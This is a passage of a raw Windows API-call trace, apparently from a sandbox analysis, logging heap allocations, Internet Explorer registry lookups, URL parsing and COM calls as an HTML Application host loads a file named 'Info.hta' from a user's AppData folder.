ParseAction=17, dwParseFlags=0x0, pwzResult=0x8134a0, cchResult=0xc, pcchResult=0x30e2a4, dwReserved=0x0 | out: pwzResult="", pcchResult=0x30e2a4*=0x0) returned 0x800c0011 [0066.674] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0066.674] IUnknown:Release (This=0x73888c7c) returned 0x1 [0066.674] IUnknown:Release (This=0x81bdd4) returned 0x2 [0066.674] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0066.674] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf) returned 0x81b570 [0066.674] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x81b5a0 [0066.674] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x30e864, dwReserved=0x0 | out: ppSM=0x30e864*=0x824558) returned 0x0 [0066.675] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf) returned 0x81b5e8 [0066.675] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x8244a0 [0066.675] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30ea14 | out: phkResult=0x30ea14*=0x1b8) returned 0x0 [0066.675] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30ea18 | out: phkResult=0x30ea18*=0x1c0) returned 0x0 [0066.675] RegOpenKeyExW (in: hKey=0x1c0, lpSubKey="FEATURE_DOCUMENT_COMPATIBLE_MODE", ulOptions=0x0, samDesired=0x1, phkResult=0x30e9d4 | out: phkResult=0x30e9d4*=0x0) returned 0x2 [0066.675] RegOpenKeyExW (in: hKey=0x1b8, lpSubKey="FEATURE_DOCUMENT_COMPATIBLE_MODE", ulOptions=0x0, samDesired=0x1, phkResult=0x30e9d4 | out: phkResult=0x30e9d4*=0x0) returned 0x2 [0066.676] RegCloseKey (hKey=0x0) returned 0x6 [0066.676] RegCloseKey (hKey=0x0) returned 0x6 [0066.676] RegCloseKey (hKey=0x1b8) returned 0x0 [0066.676] RegCloseKey (hKey=0x1c0) returned 0x0 [0066.676] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x128) returned 0x8293e0 [0066.676] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x4c) returned 0x8245c0 [0066.676] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x81b630 [0066.676] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x2000) returned 0x829510 [0066.676] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x824618 [0066.676] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x824618 | out: hHeap=0x7f0000) returned 1 [0066.676] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0066.676] CreateUri (in: pwzURI="about:blank", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x30e858 | out: ppURI=0x30e858*=0x81bdd4) returned 0x0 [0066.677] DllGetClassObject (in: rclsid=0x81f750*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30e130 | out: ppv=0x30e130*=0x73888c70) returned 0x0 [0066.677] IUnknown:QueryInterface (in: This=0x73888c70, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30e21c | out: ppvObject=0x30e21c*=0x73888c7c) returned 0x0 [0066.677] IUnknown:Release (This=0x73888c70) returned 0x1 [0066.677] IInternetProtocolInfo:ParseUrl (in: This=0x73888c7c, pwzUrl="about:blank", ParseAction=3, dwParseFlags=0x0, pwzResult=0x8134a0, cchResult=0xc, pcchResult=0x30e264, dwReserved=0x0 | out: pwzResult="about:blank", pcchResult=0x30e264*=0xc) returned 0x0 [0066.677] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1c) returned 0x821808 [0066.677] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0066.677] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x821808 | out: hHeap=0x7f0000) returned 1 [0066.677] IUnknown:Release (This=0x73888c7c) returned 0x1 [0066.677] DllGetClassObject (in: rclsid=0x81f750*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30e130 | out: ppv=0x30e130*=0x73888c70) returned 0x0 [0066.678] IUnknown:QueryInterface (in: This=0x73888c70, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30e21c | out: ppvObject=0x30e21c*=0x73888c7c) returned 0x0 [0066.678] IUnknown:Release (This=0x73888c70) returned 0x1 [0066.678] IInternetProtocolInfo:ParseUrl (in: This=0x73888c7c, pwzUrl="about:blank", ParseAction=17, dwParseFlags=0x0, pwzResult=0x8134a0, cchResult=0xc, pcchResult=0x30e274, dwReserved=0x0 | out: pwzResult="", pcchResult=0x30e274*=0x0) returned 0x800c0011 [0066.678] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0066.678] IUnknown:Release (This=0x73888c7c) returned 0x1 [0066.678] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0066.678] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0066.678] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0066.679] IUnknown:Release (This=0x81bdd4) returned 0x2 [0066.679] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x2c) returned 0x80d718 [0066.679] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x81b660 [0066.679] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x5c) returned 0x824618 [0066.679] GetDC (hWnd=0x0) returned 0x4010b8e [0066.742] GetDeviceCaps (hdc=0x4010b8e, index=88) returned 96 [0066.742] ReleaseDC (hWnd=0x0, hDC=0x4010b8e) returned 1 [0066.761] MulDiv (nNumber=100000, nNumerator=96, nDenominator=96) returned 100000 [0066.762] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30eab0 | out: phkResult=0x30eab0*=0x1bc) returned 0x0 [0066.762] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30eab4 | out: phkResult=0x30eab4*=0x1c4) returned 0x0 [0066.763] RegOpenKeyExW (in: hKey=0x1c4, lpSubKey="FEATURE_WEBOC_DOCUMENT_ZOOM", ulOptions=0x0, samDesired=0x1, phkResult=0x30ea70 | out: phkResult=0x30ea70*=0x0) returned 0x2 [0066.763] RegOpenKeyExW (in: hKey=0x1bc, lpSubKey="FEATURE_WEBOC_DOCUMENT_ZOOM", ulOptions=0x0, samDesired=0x1, phkResult=0x30ea70 | out: phkResult=0x30ea70*=0x0) returned 0x2 [0066.763] RegCloseKey (hKey=0x0) returned 0x6 [0066.763] RegCloseKey (hKey=0x0) returned 0x6 [0066.763] RegCloseKey (hKey=0x1bc) returned 0x0 [0066.763] RegCloseKey (hKey=0x1c4) returned 0x0 [0066.763] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x81b690 [0066.763] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x8093e8 [0066.763] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x5c) returned 0x82b518 [0066.763] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0066.763] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeSRWLock") returned 0x77358456 [0066.763] GetProcAddress (hModule=0x76e10000, lpProcName="AcquireSRWLockExclusive") returned 0x773529f1 [0066.764] GetProcAddress (hModule=0x76e10000, lpProcName="AcquireSRWLockShared") returned 0x77352560 [0066.764] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseSRWLockExclusive") returned 0x773529ab [0066.764] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseSRWLockShared") returned 0x773525a9 [0066.764] RtlInitializeConditionVariable () returned 0x82b54c [0066.764] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x34) returned 0x824680 [0066.764] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x34) returned 0x82b580 [0066.764] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x14) returned 0x8134a0 [0066.764] IUnknown:Release (This=0x73888cb0) returned 0x1 [0066.765] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x28) returned 0x80d0c8 [0066.793] IUnknown_QueryService (in: punk=0x738896a4, guidService=0x7351880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), riid=0x7351880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), ppvOut=0x822240 | out: ppvOut=0x822240*=0x0) returned 0x80004005 [0066.793] IUnknown:QueryInterface (in: This=0x738896a4, riid=0x753c42d8*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x30f7f8 | out: ppvObject=0x30f7f8*=0x738896b8) returned 0x0 [0066.793] IServiceProvider:QueryService (in: This=0x738896b8, guidService=0x7351880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), riid=0x7351880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), ppvObject=0x822240 | out: ppvObject=0x822240*=0x0) returned 0x80004005 [0066.793] IUnknown:Release (This=0x738896b8) returned 0x1 [0066.793] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x34) returned 0x82b5c0 [0066.793] IInternetSecurityManager:SetSecuritySite (This=0x823ff8, pSite=0x822924) returned 0x0 [0066.793] IUnknown:Release (This=0x822924) returned 0x0 [0066.793] IUnknown:AddRef (This=0x822924) returned 0x28 [0066.793] IUnknown:QueryInterface (in: This=0x822924, riid=0x750661d0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x30f830 | out: ppvObject=0x30f830*=0x822928) returned 0x0 [0066.793] IServiceProvider:QueryService (in: This=0x822928, guidService=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x824020 | out: ppvObject=0x824020*=0x0) returned 0x80004002 [0066.793] IServiceProvider:QueryService (in: This=0x822928, guidService=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0x82401c | out: ppvObject=0x82401c*=0x0) returned 0x80004002 [0066.793] IServiceProvider:QueryService (in: This=0x822928, guidService=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x824018 | out: ppvObject=0x824018*=0x738896bc) returned 0x0 [0066.793] IUnknown:Release (This=0x822928) returned 0x0 [0066.793] CoTaskMemAlloc (cb=0x6d) returned 0x82b600 [0066.793] CoTaskMemAlloc (cb=0x9) returned 0x81b6a8 [0066.793] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xc) returned 0x82b690 [0066.793] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x4c) returned 0x82ba78 [0066.803] StrChrW (lpStart="HTA", wMatch=0x3b) returned 0x0 [0066.803] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x44) returned 0x809438 [0066.815] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xc) returned 0x82b6a8 [0066.815] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x82b6c0 [0066.820] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x4) returned 0x81ba40 [0066.820] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x821a10 [0066.820] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x10) returned 0x82b6d8 [0066.820] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x94) returned 0x82bad0 [0066.820] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x34) returned 0x82bb70 [0066.820] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x70) returned 0x82bbb0 [0066.893] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82bc28 [0066.893] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8b4) returned 0x82bd28 [0066.893] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x82b6f0 [0066.893] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0066.893] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x82b708 [0066.893] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x84) returned 0x82c5e8 [0066.939] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x800) returned 0x82c678 [0066.939] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x800) returned 0x82ce80 [0066.939] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x82d688 [0066.939] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x800) returned 0x82d6e0 [0066.939] IsCharSpaceW (wch=0x48) returned 0 [0066.939] IsCharAlphaNumericW (ch=0x5c) returned 0 [0066.939] IsCharSpaceW (wch=0x5c) returned 0 [0066.939] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x18) returned 0x8134c0 [0066.939] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x82dee8 [0066.939] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x14) returned 0x8134e0 [0066.939] IsCharSpaceW (wch=0x41) returned 0 [0066.939] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xc) returned 0x82b720 [0066.939] IsCharAlphaNumericW (ch=0x20) returned 0 [0066.939] IsCharSpaceW (wch=0x20) returned 1 [0066.939] IsCharSpaceW (wch=0x7b) returned 0 [0066.939] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1c) returned 0x821a38 [0066.939] IsCharSpaceW (wch=0x20) returned 1 [0066.939] IsCharAlphaNumericW (ch=0x7b) returned 0 [0066.939] IsCharSpaceW (wch=0x62) returned 0 [0066.940] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82dee8 | out: hHeap=0x7f0000) returned 1 [0066.940] IsCharAlphaNumericW (ch=0x3a) returned 0 [0066.940] IsCharSpaceW (wch=0x3a) returned 0 [0066.940] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1c) returned 0x821a60 [0066.977] IsCharAlphaNumericW (ch=0x3a) returned 0 [0066.977] IsCharSpaceW (wch=0x75) returned 0 [0066.977] IsCharAlphaNumericW (ch=0x28) returned 0 [0066.977] IsCharSpaceW (wch=0x28) returned 0 [0066.977] IsCharAlphaNumericW (ch=0x28) returned 0 [0066.977] IsCharSpaceW (wch=0x23) returned 0 [0066.977] IsCharSpaceW (wch=0x23) returned 0 [0066.977] IsCharSpaceW (wch=0x7d) returned 0 [0066.977] IsCharAlphaNumericW (ch=0x7d) returned 0 [0066.977] IsCharSpaceW (wch=0x29) returned 0 [0066.977] IsCharSpaceW (wch=0x75) returned 0 [0066.977] IsCharSpaceW (wch=0x75) returned 0 [0066.977] IsCharSpaceW (wch=0x29) returned 0 [0066.977] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x14) returned 0x813520 [0066.977] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x34) returned 0x82e0f0 [0066.977] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x8040d0 [0066.977] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x82b738 [0066.977] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x82b750 [0066.977] CoTaskMemFree (pv=0x82b600) [0066.977] CoTaskMemFree (pv=0x81b6a8) [0066.977] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x14) returned 0x813540 [0066.977] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x769d0000 [0066.978] GetProcAddress (hModule=0x769d0000, lpProcName=0x6) returned 0x769d3e59 [0066.978] StrCmpCW (pszStr1="Software\\Microsoft\\Internet Explorer", pszStr2="Software\\Microsoft\\Windows Mail\\Trident") returned -14 [0066.978] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x340) returned 0x82e130 [0066.978] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4a) returned 0x82e490 [0066.978] IsOS (dwOS=0x25) returned 1 [0066.978] GetSysColor (nIndex=26) returned 0xcc6600 [0066.978] IsOS (dwOS=0x25) returned 1 [0066.978] GetSysColor (nIndex=5) returned 0xffffff [0066.978] GetSysColor (nIndex=8) returned 0x0 [0066.978] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0066.978] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x81b6a8 [0066.983] wcstol (in: _String="0,0,255", _EndPtr=0x30e48c, _Radix=10 | out: _EndPtr=0x30e48c*=",0,255") returned 0 [0066.983] wcstol (in: _String="0,255", _EndPtr=0x30e48c, _Radix=10 | out: _EndPtr=0x30e48c*=",255") returned 0 [0066.983] wcstol (in: _String="255", _EndPtr=0x30e48c, _Radix=10 | out: _EndPtr=0x30e48c*="") returned 255 [0066.983] wcstol (in: _String="128,0,128", _EndPtr=0x30e48c, _Radix=10 | out: _EndPtr=0x30e48c*=",0,128") returned 128 [0066.983] wcstol (in: _String="0,128", _EndPtr=0x30e48c, _Radix=10 | out: _EndPtr=0x30e48c*=",128") returned 0 [0066.983] wcstol (in: _String="128", _EndPtr=0x30e48c, _Radix=10 | out: _EndPtr=0x30e48c*="") returned 128 [0066.985] GetModuleHandleW (lpModuleName="EXPLORER.EXE") returned 0x0 [0066.985] GetModuleHandleW (lpModuleName="IEXPLORE.EXE") returned 0x0 [0066.985] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\PageSetup", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f544 | out: phkResult=0x30f544*=0x1a4) returned 0x0 [0066.985] SHGetValueW (in: hkey=0x1a4, pszSubKey=0x0, pszValue="Print_Background", pdwType=0x0, pvData=0x30f548, pcbData=0x30f540*=0xa | out: pdwType=0x0, pvData=0x30f548, pcbData=0x30f540*=0xa) returned 0x2 [0066.985] RegCloseKey (hKey=0x1a4) returned 0x0 [0066.985] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x80) returned 0x830478 [0066.985] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x81b648 [0066.985] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x3a) returned 0x804160 [0066.986] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6a) returned 0x830500 [0067.017] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x81b678 [0067.017] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x26) returned 0x80d0f8 [0067.018] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6e) returned 0x830578 [0067.018] GetProcessHeap () returned 0x7f0000 [0067.018] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82b600 | out: hHeap=0x7f0000) returned 1 [0067.018] GetProcessHeap () returned 0x7f0000 [0067.018] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82f490 | out: hHeap=0x7f0000) returned 1 [0067.018] GetProcessHeap () returned 0x7f0000 [0067.018] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81ba50 | out: hHeap=0x7f0000) returned 1 [0067.019] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x14) returned 0x813560 [0067.019] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x82b780 [0067.019] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x14) returned 0x813580 [0067.019] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x8041a8 [0067.020] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x82b600 [0067.020] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x80d128 [0067.020] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1c) returned 0x821ab0 [0067.020] GetAcceptLanguagesW () returned 0x0 [0067.020] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x81b318 [0067.020] GetClassNameW (in: hWnd=0x201e6, lpClassName=0x30f814, nMaxCount=10 | out: lpClassName="HTML Appl") returned 9 [0067.025] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="HTML Appl", cchCount1=9, lpString2="HH Parent", cchCount2=9) returned 3 [0067.025] GetParent (hWnd=0x201e6) returned 0x301fa [0067.025] GetClassNameW (in: hWnd=0x301fa, lpClassName=0x30f814, nMaxCount=10 | out: lpClassName="HTML Appl") returned 9 [0067.025] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="HTML Appl", cchCount1=9, lpString2="HH Parent", cchCount2=9) returned 3 [0067.025] GetParent (hWnd=0x301fa) returned 0x0 [0067.026] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x14) returned 0x8135a0 [0067.026] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x28) returned 0x80d158 [0067.026] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8135a0 | out: hHeap=0x7f0000) returned 1 [0067.073] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x4c) returned 0x82e4e8 [0067.073] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xe) returned 0x82b7f8 [0067.073] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x94) returned 0x8305f0 [0067.073] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x14) returned 0x8135a0 [0067.073] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x12) returned 0x8135c0 [0067.073] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x14) returned 0x8135e0 [0067.073] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xe) returned 0x82b810 [0067.073] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x10) returned 0x82b828 [0067.073] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xe) returned 0x82b840 [0067.073] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x10) returned 0x82b858 [0067.073] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1c) returned 0x821ad8 [0067.073] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1a) returned 0x821b00 [0067.073] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1a) returned 0x821b28 [0067.073] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x12) returned 0x813600 [0067.073] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x12) returned 0x813620 [0067.073] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x12) returned 0x813640 [0067.073] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x12) returned 0x813660 [0067.073] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x10) returned 0x82b870 [0067.074] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xc) returned 0x82b8a0 [0067.074] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x10) returned 0x82b8b8 [0067.074] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x12) returned 0x813680 [0067.074] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xe) returned 0x82b8d0 [0067.074] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa) returned 0x82b8e8 [0067.074] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x26) returned 0x80d188 [0067.074] GetProcessHeap () returned 0x7f0000 [0067.074] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x821b50 | out: hHeap=0x7f0000) returned 1 [0067.074] GetProcessHeap () returned 0x7f0000 [0067.074] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x821b78 | out: hHeap=0x7f0000) returned 1 [0067.074] GetProcessHeap () returned 0x7f0000 [0067.074] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x821ba0 | out: hHeap=0x7f0000) returned 1 [0067.074] GetProcessHeap () returned 0x7f0000 [0067.074] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b558 | out: hHeap=0x7f0000) returned 1 [0067.074] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82b870 | out: hHeap=0x7f0000) returned 1 [0067.074] IMoniker:GetDisplayName (in: This=0x8005f0, pbc=0x0, pmkToLeft=0x0, ppszDisplayName=0x30f7d8 | out: ppszDisplayName=0x30f7d8*="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta") returned 0x0 [0067.075] 